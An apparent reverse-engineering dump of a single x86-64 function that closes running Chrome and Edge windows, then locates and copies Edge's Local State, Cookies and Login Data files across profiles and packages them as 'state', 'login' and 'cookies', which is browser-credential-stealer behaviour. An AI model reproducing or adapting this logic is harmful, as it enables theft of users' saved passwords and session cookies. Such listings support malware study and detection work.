Function at 0x180080bfc
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov r14, rcx
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x3e0]
call fcn.1800ab9f0
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor r15d, r15d
test eax, eax
je 0x180080c5e
xor eax, eax
jmp 0x180082c6c
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_GetWindow]
mov esi, 2
lea r12d, [rsi + 6]
lea r13d, [rsi + 0xe]
jmp 0x180080d42
lea rdx, [rbp + 0xa78]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [rbp + 0xa78]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x5f0], 0x438
lea rdx, [rbp + 0x5f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
lea rdx, str.chrome.exe
lea rcx, [rbp + 0x620]
call fcn.1800c4118
test eax, eax
jne 0x180080cf7
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindowVisible]
cmp eax, 1
jne 0x180080cf7
xor r9d, r9d
xor r8d, r8d
mov edx, r13d
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.msedge.exe
lea rcx, [rbp + 0x620]
call fcn.1800c4118
test eax, eax
jne 0x180080d2e
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindowVisible]
cmp eax, 1
jne 0x180080d2e
xor r9d, r9d
xor r8d, r8d
mov edx, r13d
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindow]
test rax, rax
mov rbx, rax
jne 0x180080c84
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xa80]
call fcn.1800c3ef4
lea rcx, [rbp + 0xa80]
call fcn.1800c251c
mov rbx, rax
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r15b
lea rdx, str.P_gA2JHyP7QkaGbv346
lea rcx, [rbp + 0x60]
call fcn.180005a04
nop
mov edx, dword [rbx + 0x14]
lea rcx, [rsp + 0x70]
call fcn.1800014fc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x180080db3
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.180005a80
nop
mov edi, 0x1000
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180080dfd
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180080df8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082c8d
call fcn.180089dac
mov edx, dword [rbx + 0x10]
lea rcx, [rsp + 0x70]
call fcn.1800014fc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x180080e17
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.180005a80
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180080e5c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180080e57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082c93
call fcn.180089dac
mov edx, dword [rbx + 0xc]
lea rcx, [rsp + 0x70]
call fcn.1800014fc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x180080e76
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.180005a80
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180080ebb
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180080eb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082c99
call fcn.180089dac
mov edx, dword [rbx + 8]
lea rcx, [rsp + 0x70]
call fcn.1800014fc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x180080ed5
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.180005a80
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180080f1a
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180080f15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082c9f
call fcn.180089dac
mov edx, dword [rbx + 4]
lea rcx, [rsp + 0x70]
call fcn.1800014fc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x180080f34
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.180005a80
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180080f79
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180080f74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ca5
call fcn.180089dac
mov edx, dword [rbx]
lea rcx, [rsp + 0x70]
call fcn.1800014fc
nop
mov rdx, rax
cmp qword [rax + 0x18], r13
jb 0x180080f92
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x60]
call fcn.180005a80
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180080fd7
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180080fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cab
call fcn.180089dac
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
lea rdx, [rbp + 0x60]
lea rcx, [rbp]
call fcn.180005af8
lea rdx, [rbp]
lea rcx, [rsp + 0x70]
call fcn.180077c58
lea rcx, [rbp + 0x60]
cmp rcx, rax
je 0x180081016
mov r8b, r15b
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.180005b9c
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x18008104d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180081048
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cb1
call fcn.180089dac
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov eax, 7
mov qword [rsp + 0x68], rax
mov word [rsp + 0x50], r15w
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], rax
mov word [rbp - 0x70], r15w
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rax
mov word [rbp + 0x20], r15w
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
lea rcx, [rbp + 0x20]
call fcn.180005924
mov ebx, 0x20
mov r8d, ebx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1800ab070
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180005924
lea rcx, str.MicrosoftEdgeUser_DataLocal_State
call fcn.1800b8434
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataLocal_State
lea rcx, [rbp + 0x20]
call fcn.180011d88
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], r12
cmovae rdx, qword [rbp + 0x20]
call fcn.18007c100
test eax, eax
je 0x180081f05
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
lea rcx, [rsp + 0x50]
call fcn.180005924
mov r8d, ebx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1800ab070
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180005924
lea rcx, str.MicrosoftEdgeUser_DataDefaultNetworkCookies
call fcn.1800b8434
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataDefaultNetworkCookies
lea rcx, [rsp + 0x50]
call fcn.180011d88
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
lea rcx, [rbp - 0x70]
call fcn.180005924
mov r8d, ebx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800ab070
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180005924
lea rcx, str.MicrosoftEdgeUser_DataDefaultLogin_Data
call fcn.1800b8434
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataDefaultLogin_Data
lea rcx, [rbp - 0x70]
call fcn.180011d88
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rdx, qword [rsp + 0x50]
call fcn.18007c100
test eax, eax
je 0x180081747
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rdx, qword [rbp - 0x70]
call fcn.18007c100
test eax, eax
je 0x180081747
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
nop
lea rcx, str.MicrosoftEdgeUser_DataDefaultNetwork_
call fcn.1800b8434
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataDefaultNetwork_
lea rcx, [rsp + 0x30]
call fcn.180011d88
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], r12
cmovae rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
lea rcx, [rbp + 0x40]
call fcn.180087164
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], r13
cmovae rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp + 0x40]
call fcn.180005a80
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rbp]
call fcn.180087164
nop
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.1800846b8
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, r13
jb 0x18008135d
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rdi
jb 0x180081358
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cb7
call fcn.180089dac
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r15b
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x180]
call fcn.1800836e0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x180]
call fcn.18008381c
lea rcx, [rbp + 0x2a0]
call fcn.1800863d4
test rax, rax
jne 0x1800813d1
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x290]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000ccac
lea rcx, [rbp + 0x188]
call fcn.1800863d4
test rax, rax
jne 0x180081411
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x180]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000ccac
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.180087164
mov rdx, rax
call fcn.180080b58
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov ecx, 0x60
call fcn.180089d70
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], r12
cmovae rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x20]
cmovae rdx, qword [rbp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.180087164
mov rbx, rax
mov qword [rbp - 0x40], r15
movdqa xmm0, xmmword [0x180106040]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], r15b
lea rdx, str.state
lea rcx, [rbp - 0x40]
call fcn.180005a04
mov qword [rbp - 0x20], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1800ab070
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180081541
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x18008153c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cbd
call fcn.180089dac
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.180087164
mov rbx, rax
mov qword [rbp - 0x40], r15
movdqa xmm0, xmmword [0x180106040]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], r15b
lea rdx, str.login
lea rcx, [rbp - 0x40]
call fcn.180005a04
mov qword [rbp - 0x20], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1800ab070
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180081614
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x18008160f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cc3
call fcn.180089dac
mov qword [rbp - 0x40], r15
movdqa xmm0, xmmword [0x180106040]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], r15b
lea rdx, str.cookies
lea rcx, [rbp - 0x40]
call fcn.180005a04
nop
mov qword [rbp - 0x20], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.180005af8
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
mov rax, qword [r14 + 0x40]
cmp rax, qword [r14 + 0x48]
je 0x18008168e
lea rdx, [rbp - 0x50]
mov rcx, rax
call fcn.1800849d8
add qword [r14 + 0x40], r13
jmp 0x18008169f
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [r14 + 0x38]
call fcn.180087418
nop
lea rcx, [rbp - 0x50]
call fcn.180013710
nop
lea rcx, [rbp + 0x228]
call fcn.180083660
nop
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x228], rbx
lea rcx, [rbp + 0x228]
call fcn.180088ea8
nop
lea rcx, [rbp + 0x340]
call fcn.180084638
nop
mov qword [rbp + 0x340], rbx
lea rcx, [rbp + 0x340]
call fcn.180088ea8
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, r13
jb 0x180081728
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x180081723
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cc9
call fcn.180089dac
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], r15b
lea rcx, [rsp + 0x30]
call fcn.180005924
mov ebx, 0x20
mov edi, 1
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
lea rcx, [rsp + 0x50]
call fcn.180005924
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1800ab070
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180005924
lea rcx, str.MicrosoftEdgeUser_DataProfile
call fcn.1800b8434
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataProfile
lea rcx, [rsp + 0x50]
call fcn.180011d88
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.18000ce2c
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x1800817e4
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x50]
call fcn.180011d88
nop
lea rcx, [rsp + 0x70]
call fcn.180005924
lea rcx, str.NetworkCookies
call fcn.1800b8434
mov r8, rax
lea rdx, str.NetworkCookies
lea rcx, [rsp + 0x50]
call fcn.180011d88
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
lea rcx, [rbp - 0x70]
call fcn.180005924
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800ab070
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180005924
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 7
mov word [rbp + 0x40], r15w
lea rdx, str.r_DataProfile
lea rcx, [rbp + 0x40]
call fcn.180005988
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rdx, str.MicrosoftEdgeUse
lea rcx, [rsp + 0x30]
call fcn.180005988
nop
lea r8, [rbp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.180012268
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x1800818ea
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x70]
call fcn.180011d88
nop
lea rcx, [rsp + 0x70]
call fcn.180005924
nop
lea rcx, [rsp + 0x30]
call fcn.180005924
nop
lea rcx, [rbp + 0x40]
call fcn.180005924
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.18000ce2c
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x180081931
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x70]
call fcn.180011d88
nop
lea rcx, [rsp + 0x70]
call fcn.180005924
lea rcx, str.Login_Data
call fcn.1800b8434
mov r8, rax
lea rdx, str.Login_Data
lea rcx, [rbp - 0x70]
call fcn.180011d88
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rdx, qword [rsp + 0x50]
call fcn.18007c100
test eax, eax
je 0x180081ef3
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rdx, qword [rbp - 0x70]
call fcn.18007c100
test eax, eax
je 0x180081ef3
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
nop
lea rcx, str.MicrosoftEdgeUser_DataProfile
call fcn.1800b8434
mov r8, rax
lea rdx, str.MicrosoftEdgeUser_DataProfile
lea rcx, [rsp + 0x30]
call fcn.180011d88
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.18000ce2c
nop
mov rdx, rax
cmp qword [rax + 0x18], r12
jb 0x180081a04
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x30]
call fcn.180011d88
nop
lea rcx, [rsp + 0x70]
call fcn.180005924
lea rcx, str.Network_
call fcn.1800b8434
mov r8, rax
lea rdx, str.Network_
lea rcx, [rsp + 0x30]
call fcn.180011d88
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], r12
cmovae rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
lea rcx, [rbp + 0x40]
call fcn.180087164
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], r13
cmovae rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp + 0x40]
call fcn.180005a80
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rbp]
call fcn.180087164
nop
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.1800846b8
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, r13
jb 0x180081b00
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180081afb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cd5
call fcn.180089dac
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r15b
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x180]
call fcn.1800836e0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x180]
call fcn.18008381c
lea rcx, [rbp + 0x2a0]
call fcn.1800863d4
test rax, rax
jne 0x180081b74
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x290]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000ccac
lea rcx, [rbp + 0x188]
call fcn.1800863d4
test rax, rax
jne 0x180081bb4
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x180]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000ccac
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.180087164
mov rdx, rax
call fcn.180080b58
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
mov ecx, 0x60
call fcn.180089d70
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], r12
cmovae rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x20]
cmovae rdx, qword [rbp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.180087164
mov rbx, rax
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r15b
lea rdx, str.state
lea rcx, [rbp - 0x40]
call fcn.180005a04
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1800ab070
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180081ce7
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180081ce2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cdb
call fcn.180089dac
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.180087164
mov rbx, rax
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r15b
lea rdx, str.login
lea rcx, [rbp - 0x40]
call fcn.180005a04
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1800ab070
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180081dbd
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180081db8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ce1
call fcn.180089dac
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r15b
lea rdx, str.cookies
lea rcx, [rbp - 0x40]
call fcn.180005a04
nop
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.180005af8
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x168]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
mov rax, qword [r14 + 0x40]
cmp rax, qword [r14 + 0x48]
je 0x180081e36
lea rdx, [rbp - 0x50]
mov rcx, rax
call fcn.1800849d8
add qword [r14 + 0x40], r13
jmp 0x180081e47
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [r14 + 0x38]
call fcn.180087418
nop
lea rcx, [rbp - 0x50]
call fcn.180013710
nop
lea rcx, [rbp + 0x228]
call fcn.180083660
nop
lea rbx, vtable.std::ios_base.0
